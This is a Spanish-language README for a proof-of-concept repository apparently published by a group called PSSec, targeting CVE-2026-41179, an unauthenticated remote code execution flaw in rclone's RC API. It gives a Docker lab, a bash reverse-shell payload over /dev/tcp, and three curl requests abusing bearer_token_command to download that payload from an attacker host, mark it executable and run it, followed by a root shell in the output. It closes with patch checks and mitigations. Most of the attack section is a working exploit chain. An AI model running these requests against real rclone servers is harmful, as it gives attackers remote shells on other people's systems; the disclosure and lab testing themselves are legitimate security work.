
Prueba de concepto para CVE-2026-41179
⚠️ SOLO CON FINES EDUCATIVOS Este repositorio está destinado estrictamente a la investigación de seguridad, la educación y entornos de laboratorio autorizados. PSSec y los contribuyentes de este repositorio no aprueban, apoyan ni asumen ninguna responsabilidad por cualquier uso no autorizado, ilegal o malicioso de la información, el código o las técnicas aquí contenidas. Al utilizar este repositorio, usted acepta que es el único responsable de sus acciones y que solo realizará pruebas en sistemas que posea o para los que tenga permiso explícito por escrito.
CVE-2026-41179 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) sin autenticación en la API de Control Remoto (RC) integrada de rclone, que afecta a las versiones 1.48.0 hasta 1.73.4.
| Detalle | Valor |
|---|---|
| CVE | CVE-2026-41179 |
| Puntuación CVSS | 9.8 (Crítica) |
| Versiones afectadas | rclone 1.48.0 – 1.73.4 |
| Versión parcheada | rclone 1.73.5 |
| Componente | API RC (endpoint /operations/fsinfo) |
| Vector de ataque | Red — no se requiere autenticación |
rclone incluye una interfaz de control remoto HTTP integrada (rcd). El endpoint /operations/fsinfo acepta una cadena fs= proporcionada por el usuario que se analiza y se utiliza para instanciar un backend, incluido el backend WebDAV. El backend WebDAV admite un parámetro bearer_token_command, que se pasa directamente a exec.Command() sin sanitización. Debido a que no se requiere autenticación en este endpoint de forma predeterminada, un atacante no autenticado puede desencadenar la ejecución arbitraria de comandos del sistema operativo como el usuario del proceso rclone.
Cadena de ataque en resumen:
POST /operations/fsinfo (sin autenticación)
→ rc.GetFs() analiza la cadena fs= controlada por el atacante
→ Backend WebDAV instanciado con parámetros del atacante
→ Se extrae bearer_token_command
→ exec.Command() ejecuta el comando del sistema operativo
→ RCE como usuario del proceso rclone
CVE-2026-41179/
├── Dockerfile.rclone # Imagen vulnerable de rclone (v1.69.3)
├── patched.Dockerfile.rclone # Imagen parcheada de rclone (v1.73.5)
├── poc.sh # Payload de reverse shell
└── instructions # Guía paso a paso del laboratorio
netcatdocker build -t rclone-vuln -f Dockerfile.rclone .
Construye un contenedor Debian-slim que ejecuta rclone v1.69.3 con la API RC expuesta en el puerto 5572.
docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln
Ahora la API RC es accesible sin autenticación en http://127.0.0.1:5572.
penelope -p 5555
# O
nc -lvnp 5555
Edite poc.sh y configure la IP del atacante y el puerto de escucha:
#!/bin/bash
bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1
Ejecute esto desde el mismo directorio que poc.sh:
python3 -m http.server 8888
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<attacker-ip>:8888/poc.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'
Revise su listener — debería recibir una shell de root del contenedor:
[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
whoami
root
Repita los Pasos 1–8 usando la imagen parcheada para confirmar que la vulnerabilidad está corregida:
docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched
Envíe la misma solicitud curl contra el puerto 5573 — el comando no debería ejecutarse.
rcd con las banderas --rc-user y --rc-pass para requerir credenciales.5572) mediante reglas de firewall; nunca debería estar expuesto a redes no confiables.--rc-no-auth=false (el nuevo valor predeterminado en versiones parcheadas) explícitamente en los scripts de inicio.Este repositorio se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El código de prueba de concepto demuestra una vulnerabilidad real en un entorno de laboratorio Docker controlado.
PSSec y todos los contribuyentes:
El uso no autorizado de este código contra sistemas de producción o sistemas que no posea puede violar las leyes de fraude informático y delitos cibernéticos en su jurisdicción.
CVE-2026-41179 — Investigación por PSSec